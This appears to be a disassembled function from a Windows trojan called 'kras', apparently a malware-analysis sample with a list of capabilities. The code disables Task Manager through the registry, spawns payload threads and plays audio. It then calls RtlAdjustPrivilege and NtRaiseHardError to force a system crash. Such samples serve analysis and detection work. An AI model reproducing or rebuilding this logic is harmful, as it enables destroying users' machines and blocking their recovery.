Function at 0x4014d0
Capabilities:
Create thread
Disable system features via registry on windows
Hide graphical window
Set registry value
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0xc8
mov eax, dword [0x406004]
xor eax, esp
mov dword [esp + 0xc4], eax
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov esi, dword [sym.imp.USER32.dll_MessageBoxW]
push 0x34
push str.follow_me_to_kras_your_machine...
push str.Youre_about_to_execute_a_trojan_called_kras__a_trojan_made_by_itzsten_for_educational__and_entertainment_purposes_only._This_software_will_destroy_your_machine__leaving_it_unbootable._You_take_full_responsibility_for_any_and_all_damage_caused_using_this_malware._kras_contains_flashing_lights_and_loud_sounds._Be_aware_that_the_creator_is_not_responsible_for_any_damage_made_whatsoever_using_kras._n_nPress__Yes__if_you_agreed_to_these_terms__if_you_are_not_willing_to_run_kras__you_may_press__No_.
push 0
call esi
cmp eax, 7
je 0x40187b
push 0x34
push str.LAST_WARNING_
push str.This_is_the_last_warning._Pressing__Yes__will_result_in_an_unusable_machine_and_if_you_press_it_you_acknowledge_the_previously_stated_terms._n_nIf_you_do_not_agree_to_these_terms__please_press__No_._To_start_payloads__you_may_press__Yes_.
push 0
call esi
cmp eax, 7
je 0x40187b
push 0
lea eax, [esp + 0x30]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x401587
push 4
lea eax, [esp + 0x70]
mov dword [esp + 0x70], 1
push eax
push 4
push 0
push str.DisableTaskmgr
push dword [esp + 0x40]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [esp + 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [esp + 0x74]
push eax
push 0
push 0
push 0x402170
push 0
push 0
call edi
mov dword [esp + 0x10], eax
lea eax, [esp + 0x74]
push eax
push 0
push 0
push 0x4010b0
push 0
push 0
call edi
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0
mov dword [esp + 0x70], eax
mov dword [esp + 0x34], 0x4020d0
mov dword [esp + 0x38], 0xb4
mov dword [esp + 0x3c], 0
mov dword [esp + 0x40], 0x1e
call esi
push 1
mov dword [esp + 0x44], eax
call esi
movups xmm0, xmmword [esp + 0x30]
mov dword [esp + 0x44], eax
lea eax, [esp + 0x78]
push eax
push 0
lea eax, [esp + 0x98]
mov dword [esp + 0x50], 0
push eax
push 0x4014a0
mov dword [esp + 0x5c], 0x1e
movups xmm1, xmmword [esp + 0x50]
push 0
movaps xmmword [esp + 0xa4], xmm0
mov dword [esp + 0x64], 0x401ec0
mov dword [esp + 0x68], 0x401000
mov dword [esp + 0x6c], 0x1f40
mov dword [esp + 0x70], 0x1e
movaps xmm0, xmmword [esp + 0x64]
push 0
movaps xmmword [esp + 0xb8], xmm1
movaps xmmword [esp + 0xc8], xmm0
call edi
mov esi, dword [sym.imp.KERNEL32.dll_TerminateThread]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp + 0xc], eax
test eax, eax
je 0x4017cf
push 1
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
push 0xf
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov ecx, dword [esp + 0x94]
movq xmm0, qword [esp + 0xb4]
mov edi, dword [esp + 0xb8]
mov eax, dword [esp + 0xbc]
mov dword [esp + 0x1c], ecx
movq qword [esp + 0x20], xmm0
mov dword [esp + 0x14], eax
imul edi, ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea esi, [edi + edi]
mov dword [esp + 8], eax
push esi
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [esp + 0x24]
mov dword [esp + 0x80], ecx
add ecx, ecx
mov dword [esp + 0x84], ecx
xor ecx, ecx
push ecx
push ecx
mov dword [esp + 0x20], eax
mov dword [esp + 0x38], eax
lea eax, [esp + 0x84]
push ecx
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x40]
mov dword [esp + 0x90], 0x10001
push eax
mov dword [esp + 0xa0], 0x100002
mov word [esp + 0xa4], cx
mov dword [esp + 0x4c], esi
mov dword [esp + 0x50], ecx
mov dword [esp + 0x54], ecx
mov dword [esp + 0x58], ecx
mov dword [esp + 0x5c], ecx
mov dword [esp + 0x60], ecx
mov dword [esp + 0x64], ecx
call dword [sym.imp.WINMM.dll_waveOutOpen]
push dword [esp + 0x14]
mov esi, dword [esp + 0x1c]
push edi
push esi
call dword [esp + 0x2c]
push 0x20
lea eax, [esp + 0x34]
push eax
push dword [esp + 0x34]
call dword [sym.imp.WINMM.dll_waveOutPrepareHeader]
push 0x20
lea eax, [esp + 0x34]
push eax
push dword [esp + 0x34]
call dword [sym.imp.WINMM.dll_waveOutWrite]
imul eax, dword [esp + 0x1c], 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [esp + 0x2c]
call dword [sym.imp.WINMM.dll_waveOutReset]
push 0x20
lea eax, [esp + 0x34]
push eax
push dword [esp + 0x34]
call dword [sym.imp.WINMM.dll_waveOutUnprepareHeader]
push esi
push 0
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, dword [esp + 0xc]
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
mov esi, dword [sym.imp.KERNEL32.dll_TerminateThread]
push edi
call esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push 0
push dword [esp + 0x14]
call esi
push 0
push dword [esp + 0x70]
call esi
push dword [esp + 0x10]
call edi
push dword [esp + 0x6c]
call edi
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.RtlAdjustPrivilege
push edi
call esi
push str.NtRaiseHardError
push edi
mov dword [esp + 0x10], eax
call esi
mov esi, eax
lea eax, [esp + 0x73]
push eax
push 0
push 1
push 0x13
call dword [esp + 0x18]
test eax, eax
je 0x401851
push 0x10
push str.kras___Shutdown_Privilege_could_not_be_established
push str.Youre_messing_with_me__right__
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0xc4]
xor ecx, esp
call fcn.00402527
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x78]
push eax
push 6
push 0
push 0
push 0
push 0xdeaddead
call esi
mov ecx, dword [esp + 0xcc]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.00402527
mov esp, ebp
pop ebp
ret
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]